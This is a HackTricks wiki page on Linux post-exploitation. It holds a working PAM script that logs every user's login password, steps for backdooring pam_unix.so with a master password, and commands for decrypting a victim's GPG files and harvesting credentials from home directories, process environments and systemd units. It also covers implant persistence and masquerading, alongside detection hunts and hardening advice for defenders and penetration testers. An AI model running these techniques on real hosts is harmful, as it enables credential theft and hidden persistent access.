overview.md (17260B)
1 --- 2 title: "Linux Post-Exploitation" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/post-exploitation/linux-post-exploitation/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/post-exploitation/linux-post-exploitation/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Linux Post-Exploitation 14 15 [Trojanized System Daemons And Reverse Proxies](/hacktricks/linux-hardening/post-exploitation/linux-post-exploitation/trojanized-system-daemons-and-reverse-proxies) 16 17 ## Sniffing Logon Passwords with PAM 18 19 Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check: 20 21 22 [Pam Pluggable Authentication Modules](/hacktricks/linux-hardening/software-information/pam-pluggable-authentication-modules) 23 24 **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:<sup>[[8]](#references)</sup> 25 26 **Technique Overview:** 27 Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies. 28 29 **Capturing Credentials:** 30 31 - A bash script named `toomanysecrets.sh` is crafted to log login attempts, capturing the date, username (`$PAM_USER`), password (via stdin), and remote host IP (`$PAM_RHOST`) to `/var/log/toomanysecrets.log`. 32 - The script is made executable and integrated into the PAM configuration (`common-auth`) using the `pam_exec.so` module with options to run quietly and expose the authentication token to the script. 33 - The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly. 34 35 ```bash 36 #!/bin/sh 37 echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log 38 sudo touch /var/log/toomanysecrets.sh 39 sudo chmod 770 /var/log/toomanysecrets.sh 40 sudo nano /etc/pam.d/common-auth 41 # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh 42 sudo chmod 700 /usr/local/bin/toomanysecrets.sh 43 ``` 44 45 ### Backdooring PAM 46 47 **For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. This is just a summary:<sup>[[9]](#references)</sup> 48 49 The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: **username**, **password**, and **service**. Configuration files for each service are located in the `/etc/pam.d/` directory, where shared libraries handle authentication. 50 51 **Objective**: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the `pam_unix.so` shared library used by the `common-auth` file, which is included by almost all services for password verification. 52 53 ### Steps for Modifying `pam_unix.so`: 54 55 1. **Locate the Authentication Directive** in the `common-auth` file: 56 - The line responsible for checking a user's password calls `pam_unix.so`. 57 2. **Modify Source Code**: 58 - Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. 59 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 60 4. **Testing**: 61 - Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. 62 63 > [!TIP] 64 > You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 65 66 ## Decrypting GPG loot via homedir relocation 67 68 If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 69 70 Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir). 71 72 Workflow: 73 74 ```bash 75 # 1) Stage a writable homedir and copy the victim's keyring 76 mkdir -p /dev/shm/fakehome/.gnupg 77 cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ 78 # 2) Ensure ownership & perms are sane for gnupg 79 chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg 80 chmod 700 /dev/shm/fakehome/.gnupg 81 # 3) Decrypt using the relocated homedir (either flag works) 82 GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg 83 # or 84 gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg 85 ``` 86 87 If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected). 88 89 ## High-value user credential artifacts in HOME 90 91 Besides shell history and SSH keys, these user files frequently expose reusable credentials and tokens: 92 93 - `~/.git-credentials`, `~/.netrc`, `~/.npmrc`, `~/.pypirc` 94 - `~/.aws/credentials`, `~/.kube/config`, `~/.docker/config.json`, `~/.config/containers/auth.json` 95 - Desktop keyrings: `~/.local/share/keyrings/`, `~/.kde/share/apps/kwallet/` 96 - DB/CLI history files: `~/.mysql_history`, `~/.psql_history`, `~/.sqlite_history` 97 98 Quick triage: 99 100 ```bash 101 ls -la ~ | grep -iE 'history|credential|token|key|secret' 102 ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null 103 grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \ 104 ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null 105 ``` 106 107 108 ## Harvesting credentials from process environment (containers included) 109 110 When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement. 111 112 Quick wins 113 - Dump your current process env: `env` or `printenv` 114 - Dump another process env: `tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'` 115 - Add `strings -z /proc/<PID>/environ` if `tr`/`sed` aren’t handy 116 - In containers, also check PID 1: `tr '\0' '\n' </proc/1/environ` 117 118 What to look for 119 - App secrets and admin creds (for example, Grafana sets `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD`)<sup>[[1]](#references)</sup> 120 - API keys, DB URIs, SMTP creds, OAuth secrets 121 - Proxy and TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`, `SSL_CERT_DIR` 122 123 Notes 124 - Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context. 125 - In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.<sup>[[1]](#references)</sup> 126 127 ## Systemd-stored credentials in unit files (Environment=) 128 129 Services launched by systemd may bake credentials into unit files as `Environment=` entries. Enumerate and extract them:<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 130 131 ```bash 132 # Unit files and drop-ins 133 ls -la /etc/systemd/system /lib/systemd/system 134 # Grep common patterns 135 sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g' 136 # Example of a root-run web panel 137 # [Service] 138 # Environment="BASIC_AUTH_USER=root" 139 # Environment="BASIC_AUTH_PWD=<password>" 140 # ExecStart=/usr/bin/crontab-ui 141 # User=root 142 ``` 143 144 Operational artifacts often leak passwords (e.g., backup scripts that call `zip -P <pwd>`). Those values are frequently reused in internal web UIs (Basic-Auth) or other services. 145 146 Hardening 147 - Move secrets to dedicated secret stores (`systemd-ask-password`, `EnvironmentFile` with locked perms, or external secret managers) 148 - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control 149 - Rotate leaked passwords discovered during tests 150 151 ## Cron-based persistence with loopback mutex 152 153 - Copy implants into multiple writable paths (`/tmp`, `/var/tmp`, `/dev/shm`, `/run/lock`) and install cron entries such as `*/5 * * * * /tmp/<bin>` so they respawn even if removed elsewhere.<sup>[[5]](#references)</sup> 154 - Enforce **single-instance** execution by binding a fixed loopback port (for example, `127.0.0.1:51125` or `127.0.0.1:52225`) and exiting if `bind()` fails; `ss -lntp | grep -E '51125|52225'` will reveal the mutex listener. 155 - Operators may periodically mass-kill any process whose `cmdline` contains the dropper name (e.g., `init_stop`), so reusing those names during analysis can collide; pick unique filenames. 156 157 ## Process masquerading via prctl + argv overwrite 158 159 - Set the short process name with `prctl(PR_SET_NAME, "<label>")` (15-byte `comm` limit), commonly to `init`, so `/proc/<pid>/status` and GUIs show a benign label.<sup>[[5]](#references)</sup> 160 - Overwrite the in-memory `argv[0]` buffer after reading `/proc/self/cmdline` length and the `argv[0]` pointer, padding with NULs so `/proc/<pid>/cmdline` and `ps` also show the fake label. 161 - Hunt by comparing `Name:` in `/proc/<pid>/status` against the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines. 162 163 ## Process-event-driven credential interception with `ptrace` 164 165 A post-root interceptor can subscribe to Linux process events through a netlink connector, select newly executed authentication programs, and attach a tracer only when a target appears. The open-source 3snake implementation traces `read`/`write` activity in `sshd` and `sudo`; the same pattern can cover `su`, `doas`, `ssh`, `ssh-add`, `passwd`, `kinit` and `login`, then extract candidate credentials from process memory before encrypting or exfiltrating them. Event-driven attachment is quieter and more reliable than continuously polling `/proc`.<sup>[[10]](#references)[[11]](#references)</sup> 166 167 This requires root or suitable tracing capability/policy, a mounted procfs, and working `ptrace`. A restrictive `kernel.yama.ptrace_scope` reduces unprivileged tracing but does not protect a host from an interceptor that already has root or `CAP_SYS_PTRACE`.<sup>[[10]](#references)[[12]](#references)</sup> 168 169 Hunt for both the process-event subscription and the short-lived attachments. `TracerPid` is only useful while a target is attached, so audit or eBPF telemetry for `ptrace(2)` is much stronger than a one-time snapshot.<sup>[[11]](#references)[[12]](#references)</sup> 170 171 ```bash 172 sysctl kernel.yama.ptrace_scope 173 ss -a -f netlink -p # Unexpected process-connector subscribers 174 for p in /proc/[0-9]*/status; do awk '$1=="TracerPid:" && $2!=0 {print FILENAME, $0}' "$p"; done 175 sudo auditctl -a always,exit -F arch=b64 -S ptrace -k ptrace_watch 176 sudo auditctl -a always,exit -F arch=b32 -S ptrace -k ptrace_watch 2>/dev/null 177 sudo ausearch -k ptrace_watch -i 178 ``` 179 180 Prioritize a tracer whose executable path does not match its displayed `comm`/`argv`, attaches to several authentication binaries, or runs under a kernel-thread-looking name from a normal user-space ELF.<sup>[[11]](#references)</sup> 181 182 ## Hiding a process by masking `/proc/<pid>` 183 184 With mount privileges, an implant can bind-mount another directory over its own `/proc/<pid>` subtree. Tools that depend on that procfs entry may then fail to resolve the process executable, command line, maps or descriptors even though the task still runs. This can be combined with `prctl`/`argv` masquerading without loading a kernel module, but the mask is scoped to the mount namespace in which it was created.<sup>[[11]](#references)</sup> 185 186 Inspect the current mount namespace first, then every accessible process mount namespace because `findmnt` alone does not reveal masks isolated elsewhere.<sup>[[11]](#references)</sup> 187 188 ```bash 189 findmnt -rn -o TARGET,SOURCE,FSTYPE | awk '$1 ~ "^/proc/[0-9]+$"' 190 grep -HEn ' /proc/[0-9]+ ' /proc/[0-9]*/mountinfo 2>/dev/null 191 for ns in /proc/[0-9]*/ns/mnt; do readlink "$ns"; done 2>/dev/null | sort | uniq -c 192 ``` 193 194 A per-PID mount is highly unusual. Correlate it with the namespace owner, `readlink /proc/<pid>/exe`, cgroup/unit membership and kernel process telemetry before unmounting it for analysis.<sup>[[11]](#references)</sup> 195 196 ## Kernel-resident passive backdoors via BPF (BPFDoor-style) 197 198 Some Linux backdoors avoid exposing any listening port by attaching a malicious **BPF socket filter** to a raw or packet socket. The implant stays passive, inspects inbound traffic in the kernel path, and only spawns a bind/reverse shell when a controller sends the correct trigger. This means `netstat`, `ss`, and `nmap` can look normal until activation.<sup>[[6]](#references)</sup> 199 200 Common tradecraft patterns: 201 202 - **Split implant/controller model**: the implant only filters traffic and executes the next stage; a separate controller crafts the activation packet and drives the shell. 203 - **HTTPS-hidden trigger delivery**: newer variants can hide the activation bytes inside normal-looking HTTPS requests so the trigger survives reverse proxies, load balancers, and TLS termination paths. 204 - **Fixed-offset "magic ruler" checks**: instead of fully parsing HTTP, the controller pads data so a marker such as `9999` lands at a predictable offset. Rapid7 observed `26`-byte rulers with `SOCK_DGRAM` and `40`-byte rulers with `SOCK_RAW`. 205 - **ICMP relay/control traffic**: compromised hosts can forward commands inside crafted ICMP payloads. A sentinel such as `0xFFFFFFFF` can be used as a "final destination / do not forward" marker. 206 - **Protocol-aware filtering**: filtering unusual transports such as SCTP moves the implant closer to telecom signaling traffic instead of normal enterprise TCP services. 207 - **Masquerading**: combine the trapdoor with the `prctl`/`argv[0]` process renaming tricks from the previous section and with daemon-looking PID or lock files. 208 209 Practical hunt from a live host:<sup>[[7]](#references)</sup> 210 211 ```bash 212 # Raw/packet sockets and attached filters 213 ss -0pb | egrep -i 'packet|raw' 214 cat /proc/net/packet 215 216 # Map suspicious PIDs to their real executable and cmdline 217 for p in /proc/[0-9]*; do 218 exe=$(readlink "$p/exe" 2>/dev/null) 219 cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null) 220 [ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd" 221 done | egrep -i 'agetty|smartd|init|dockerd|hpas' 222 223 # Common environment markers and deleted/fileless execution 224 grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null 225 find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null 226 227 # Mutex / pid artifacts often used to prevent double execution 228 find /var/run /run -maxdepth 1 -type f \( -name '*.pid' -o -name '*.lock' \) \ 229 -size 0c -printf '%m %p\n' 2>/dev/null 230 231 # Persistence paths worth checking after finding a suspicious PID 232 grep -RInE 'iptables|bpfd|dockerd|hpas|/dev/shm|/var/tmp|/tmp/' \ 233 /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null 234 ``` 235 236 If the host supports `bpftool`, also baseline legitimate BPF usage. Unexpected packet filters, raw sockets, or process names that do not match the backing executable are strong post-exploitation signals even when no listening port is visible.<sup>[[7]](#references)</sup> 237 238 ## References 239 240 - [1] [0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) 241 - [2] [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) 242 - [3] [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) 243 - [4] [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) 244 - [5] [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/) 245 - [6] [Rapid7 Labs - BPFdoor in Telecom Networks: Sleeper Cells in the Backbone](https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report/) 246 - [7] [Rapid7 Labs - Linux BPFDoor Detection Script](https://github.com/rapid7/Rapid7-Labs/tree/main/BPFDoor) 247 - [8] [Embrace The Red – Post Exploitation: Sniffing Logon Passwords with PAM](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) 248 - [9] [Creating a Backdoor in PAM in 5 Line of Code](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) 249 - [10] [3snake - dump sshd and sudo credential-related strings](https://github.com/blendin/3snake) 250 - [11] [Gaming the System: How a Chinese-Speaking Actor Turned Brazilian Government Sites into an SEO Weapon](https://research.checkpoint.com/2026/gaming-the-system-how-a-chinese-speaking-actor-turned-brazilian-government-sites-into-an-seo-weapon/) 251 - [12] [`ptrace(2)` Linux manual page](https://man7.org/linux/man-pages/man2/ptrace.2.html)